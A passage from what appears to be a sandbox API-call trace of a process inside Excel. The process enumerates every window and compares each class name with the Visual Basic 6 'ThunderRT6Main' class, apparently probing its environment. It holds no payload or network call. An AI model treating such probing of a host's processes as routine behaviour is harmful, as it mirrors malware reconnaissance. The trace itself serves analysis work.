nIndex=-6) returned 0x7fefe290000 [0150.257] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0150.257] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0150.257] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0150.257] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.257] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0150.257] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0150.257] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0150.257] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0150.257] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0150.257] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0150.257] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.257] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0150.257] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0150.257] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0150.257] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0150.257] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0150.257] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0150.257] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.257] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0150.257] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0150.257] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0150.257] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0150.257] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0150.257] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0150.257] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.257] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0150.257] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0150.257] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0150.257] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0150.257] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0150.258] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.258] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0150.258] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0150.258] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0150.258] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0150.258] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0150.258] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0150.258] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0150.258] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0150.258] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.258] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0150.258] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0150.258] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0150.258] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0150.258] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.258] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0150.258] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0150.258] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0150.258] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0150.258] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0150.258] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0150.258] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0150.258] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0150.258] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0150.258] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.258] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0150.258] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0150.258] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0150.258] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0150.258] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0150.258] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.258] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0150.258] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0150.258] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0150.258] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0150.258] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0150.258] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.258] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0150.258] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0150.258] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0150.258] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0150.258] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0150.258] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0150.258] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.259] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0150.259] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0150.259] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0150.259] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0150.259] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0150.259] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0150.259] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0150.259] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0150.259] GetClassNameA (in: hWnd=0x10194, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.259] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0150.259] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x1018e [0150.259] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Integer_Hop_Charming_app") returned 24 [0150.259] lstrcmpA (lpString1="Integer_Hop_Charming_app", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0150.259] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10190 [0150.259] GetClassNameA (in: hWnd=0x10190, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.259] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x854 [0150.259] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x1018a [0150.259] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="different_Executed_helicopter_government_app") returned 44 [0150.259] lstrcmpA (lpString1="different_Executed_helicopter_government_app", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0150.259] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x1018c [0150.259] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.259] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x844 [0150.259] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x10186 [0150.259] GetClassNameA (in: hWnd=0x10186, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Blanket_Si_studies_win") returned 22 [0150.259] lstrcmpA (lpString1="Blanket_Si_studies_win", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0150.259] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0150.259] GetClassNameA (in: hWnd=0x10188, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.259] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x834 [0150.259] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10182 [0150.259] GetClassNameA (in: hWnd=0x10182, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="cfrwnd") returned 6 [0150.259] lstrcmpA (lpString1="cfrwnd", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0150.259] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x10184 [0150.259] GetClassNameA (in: hWnd=0x10184, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.259] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x824 [0150.259] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0150.259] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Face_cls") returned 8 [0150.259] lstrcmpA (lpString1="Face_cls", lpString2="ThunderRT6Main") returned -1 [0150.259] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0150.259] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x10180 [0150.259] GetClassNameA (in: hWnd=0x10180, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.260] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x804 [0150.260] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x1017a [0150.260] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="latex_fairly_Tasks_win") returned 22 [0150.260] lstrcmpA (lpString1="latex_fairly_Tasks_win", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0150.260] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x1017e [0150.260] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.260] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x814 [0150.260] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10176 [0150.260] GetClassNameA (in: hWnd=0x10176, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="listed_Specifies_Thus_Traditional_window") returned 40 [0150.260] lstrcmpA (lpString1="listed_Specifies_Thus_Traditional_window", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0150.260] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10178 [0150.260] GetClassNameA (in: hWnd=0x10178, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.260] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x600 [0150.260] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x10172 [0150.260] GetClassNameA (in: hWnd=0x10172, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Assessapp") returned 9 [0150.260] lstrcmpA (lpString1="Assessapp", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0150.260] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x10174 [0150.260] GetClassNameA (in: hWnd=0x10174, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.260] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x424 [0150.260] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x1016e [0150.260] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="DutyUsualPositioningDepartmentswnd") returned 34 [0150.260] lstrcmpA (lpString1="DutyUsualPositioningDepartmentswnd", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0150.260] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10170 [0150.260] GetClassNameA (in: hWnd=0x10170, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.260] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5e8 [0150.260] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x1016a [0150.260] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="fr_cls") returned 6 [0150.260] lstrcmpA (lpString1="fr_cls", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0150.260] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x1016c [0150.260] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.260] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0150.260] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x10166 [0150.260] GetClassNameA (in: hWnd=0x10166, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Profiles_camp_") returned 14 [0150.260] lstrcmpA (lpString1="Profiles_camp_", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0150.260] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10168 [0150.260] GetClassNameA (in: hWnd=0x10168, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.260] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.260] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x438 [0150.260] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x10162 [0150.260] GetClassNameA (in: hWnd=0x10162, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="SheetCopiessurpluswindow") returned 24 [0150.260] lstrcmpA (lpString1="SheetCopiessurpluswindow", lpString2="ThunderRT6Main") returned -1 [0150.261] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0150.261] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x10164 [0150.261] GetClassNameA (in: hWnd=0x10164, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.261] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.261] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x144 [0150.261] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x1015e [0150.261] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Watch_Equation_app") returned 18 [0150.261] lstrcmpA (lpString1="Watch_Equation_app", lpString2="ThunderRT6Main") returned 1 [0150.261] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0150.261] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x10160 [0150.261] GetClassNameA (in: hWnd=0x10160, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.261] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.261] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x648 [0150.261] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x1015a [0150.261] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="ie_wnd") returned 6 [0150.261] lstrcmpA (lpString1="ie_wnd", lpString2="ThunderRT6Main") returned -1 [0150.261] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0150.261] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0150.261] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.261] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.261] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5b8 [0150.261] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x9009e [0150.261] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Outsourcing_win") returned 15 [0150.261] lstrcmpA (lpString1="Outsourcing_win", lpString2="ThunderRT6Main") returned -1 [0150.261] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0150.261] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x20156 [0150.261] GetClassNameA (in: hWnd=0x20156, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.261] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.261] GetWindowThreadProcessId (in: hWnd=0x20156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x470 [0150.261] GetWindow (hWnd=0x20156, uCmd=0x2) returned 0x50128 [0150.261] GetClassNameA (in: hWnd=0x50128, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Malta_Much_River_Citizenship_") returned 29 [0150.261] lstrcmpA (lpString1="Malta_Much_River_Citizenship_", lpString2="ThunderRT6Main") returned -1 [0150.261] GetWindowThreadProcessId (in: hWnd=0x50128, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0150.261] GetWindow (hWnd=0x50128, uCmd=0x2) returned 0x6011e [0150.261] GetClassNameA (in: hWnd=0x6011e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.261] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.261] GetWindowThreadProcessId (in: hWnd=0x6011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x114 [0150.261] GetWindow (hWnd=0x6011e, uCmd=0x2) returned 0x20020 [0150.261] GetClassNameA (in: hWnd=0x20020, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0150.261] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0150.261] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0150.261] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0150.262] GetClassNameA (in: hWnd=0x20024, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.262] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.262] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7a4 [0150.262] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x20022 [0150.262] GetClassNameA (in: hWnd=0x20022, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0150.262] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0150.262] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0150.262] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x2001e [0150.262] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.262] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.262] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x768 [0150.262] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20158 [0150.262] GetClassNameA (in: hWnd=0x20158, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0150.262] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0150.262] GetWindowThreadProcessId (in: hWnd=0x20158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x774 [0150.262] GetWindow (hWnd=0x20158, uCmd=0x2) returned 0x1014c [0150.262] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0150.263] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0150.263] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0150.263] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x1014a [0150.263] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0150.263] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0150.263] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0150.263] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x20140 [0150.263] GetClassNameA (in: hWnd=0x20140, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0150.263] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0150.263] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0150.263] GetWindow (hWnd=0x20140, uCmd=0x2) returned 0x10134 [0150.263] GetClassNameA (in: hWnd=0x10134, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0150.263] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0150.263] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0150.263] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10136 [0150.263] GetClassNameA (in: hWnd=0x10136, lpClassName=0x20dba0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0150.263] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0150.263] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 